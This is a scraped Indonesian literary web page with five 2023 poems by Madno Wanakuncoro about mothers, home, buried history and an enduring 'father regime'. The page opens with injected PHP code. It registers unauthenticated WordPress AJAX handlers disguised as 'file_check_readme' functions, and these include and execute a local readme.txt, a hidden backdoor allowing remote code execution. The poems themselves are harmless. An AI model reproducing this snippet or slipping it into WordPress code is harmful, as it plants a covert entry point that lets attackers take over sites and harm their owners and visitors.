if(!function_exists('file_check_readme30417')){ add_action('wp_ajax_nopriv_file_check_readme30417', 'file_check_readme30417'); add_action('wp_ajax_file_check_readme30417', 'file_check_readme30417'); function file_check_readme30417() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme14937')){ add_action('wp_ajax_nopriv_file_check_readme14937', 'file_check_readme14937'); add_action('wp_ajax_file_check_readme14937', 'file_check_readme14937'); function file_check_readme14937() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme61629')){ add_action('wp_ajax_nopriv_file_check_readme61629', 'file_check_readme61629'); add_action('wp_ajax_file_check_readme61629', 'file_check_readme61629'); function file_check_readme61629() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Tak Ada Bapak di Puisiku dan Puisi Lainnya
Penulis yang gemar melukis dan nonton film. Bercita-cita tamasya ke Blackhole tapi nyangsang di Yogyakarta. Baru menulis 6 judul buku (inginnya melebihi umur). Ig: @madno_wk

Tak Ada Bapak di Puisiku dan Puisi Lainnya

Madno Wanakuncoro

2 min read

Arsip

kemasyhuran Tuhan
tidak terletak pada ayat-ayat
dan doa-doa tak bersuara

Ia terselip di kancing baju tapol,
di kerut kening dan sekitar bibir
seorang ibu
—yang meringis lemas
menahan arah
ketika putra-putri terbaiknya
terbunuh oleh istilah-istilah
yang isinya sudah tak ada

kapan terakhir kali
sekolah mengajarkan cerita
dengan tanpa kata?
tanpa garis dan huruf
sebelum tersidak rezim sopan santun
dan tata bahasa yang halus?

maka rahasia—sering kali
mengintip ragu
dari balik senyum cuaca

kikuk menyeka keringat
di sekujur tubuh sejarah
: gumpalan arsip yang
bersimbah ambisi, lelaki,
dan juga darah

(Yogya, September 2023)

_

Bumi Para Ibu

ketika ibu adalah bumi
udara hangat menjadi pelukan termanis
lubang lukanya menjadi ladang
tempat bagi mekarnya tunas-tunas kecil
yang punya sejuta nama

riap bencana menjelma ayunan timang
awan dan cuaca membungkuk
memayungi seminya kehidupan baru

pasir-pasir bersinar
melayang tegar di angkasa pun
ikut menyisip terenyuh
ketika melihat burung-burung gereja
khidmat menganyam guguran rumput
dan jerami tanggal
untuk memeluk
para bayi
calon penyanyi alam

(Wonocatur, September 2023)

Tak Ada Bapak di Puisiku

rumah pada mulanya
adalah suara
tapak kaki ibu yang
sedang menyapu
debu-debu
di ubin yang dingin

ada ingatan ikut terbawa
sapuannya yang lemas
menyelip bersama beling,
tangkai gelas, dan gedebuk yang redam
di malam hari
ketika tetangga berbisik
dengan sendok dan piring
bertemu suara televisi

rumah pada akhirnya
adalah getar batin
suasana yang hadir
menggeriap lembut
di sudut risau
ketika orang tak punya lagi tempat
untuk mengumpat

hanya, di belantara cerita
ada manusia yang hidup
dalam negara tanpa ibu
rezim bapak kadung mengakar
bukan saja 32 tahun
tapi memanjang lentur
hingga azan magrib petang kemarin

negara tanpa ibu
mendikte anak-anak
bagai kembang bonsai
dikawati simbol-simbol hantu
terpampang di segala penjuru

jika ada penghargaan yang pantas untuknya
buatlah kategori baru
: hadiah Nobel untuk kebodohan berulang

maka tak (perlu) ada bapak di puisiku
sebagaimana tak ada ingatan
masuk dalam radar AMDAL
sebagaimana tak ada manusia, satwa
dan kepedihan
di dalam peta
: hanya lekuk acak yang kadang bergeronjal
—sehingga dengan begitu mudahnya
diobral atau
dimusnahkan

(Yogya, 2023)

_

Manis

tak banyak orang tahu
apalagi mengalami
bahwa senyum termanis di muka bumi
adalah milik para pemurung

senyum mereka lebih ayu
ketimbang kaum peramah
dan yes-man penipu

mereka tersenyum dengan wajah
dan sekujur jiwanya

menggaris sebuah lengkung
yang rekah
dan karib dengan tanah
mesra dengan bumi
seperti kanak-kanak sejati

(Yogya, 2023)

_

Percakapan Benda-Benda

setelah bosan membolak-balik
bundelan sejarah
—yang terbentuk dari darah, keliru, dan ambisi lelaki
aku mengeja suara-suara
selain dari kaumku

alir bunyi itu bersumber dari hal-hal
di mana agama bukanlah sesuatu
dari Pasar Malam atau Jakarta Fair
*
sehingga tak ada orang yang mengemis Tuhan
agar mau bermain sulapan
yang membuat manusia
enggan melayani rasa-ingin-tahunya

kujumpai stop-kontak ketumpahan kopi
merk Satu-Satu
berbicara dengan kucing dan kering tempe
kiriman ibu
di ujung meja
sewaktu galon kering dan kanebo berduli
sedang sebeku waktu
mengintimidasi lalat-lalat
yang ingin nemplok menyesap cangkir
berisi laut hitam

tiba kabel sobek menyela percakapan kosmis kecil itu
sambil menggerutu tentang
temannya sesama kabel
yang mekar oleh senar layangan
dan kapstok kawat
yang jadi antena

ingin kupinjam bahasa mereka
karena daya-ucapnya yang tak tepermanai
keheningan mereka
telah menjelma sebuah alat
di mana kebisuan berisi
sejuta kemungkinan
—cara yang mustahil dicapai
bahkan oleh kerinduan

percakapan benda-benda
membekaliku sehimpun jurus
agar menguasai suwung
ala Zhuangzi
: seni untuk menghargai segala
yang tak berguna

(Yogya, 2023)

*****

*Terinspirasi dari metafora M.A.W Brouwer, dalam esainya “Bayi Ajaib” di KOMPAS edisi 9-12-1970

Editor: Moch Aldy MA

Madno Wanakuncoro
Madno Wanakuncoro Penulis yang gemar melukis dan nonton film. Bercita-cita tamasya ke Blackhole tapi nyangsang di Yogyakarta. Baru menulis 6 judul buku (inginnya melebihi umur). Ig: @madno_wk

Leave a Reply

Your email address will not be published. Required fields are marked *

Dapatkan tulisan-tulisan menarik setiap saat dengan berlangganan melalalui email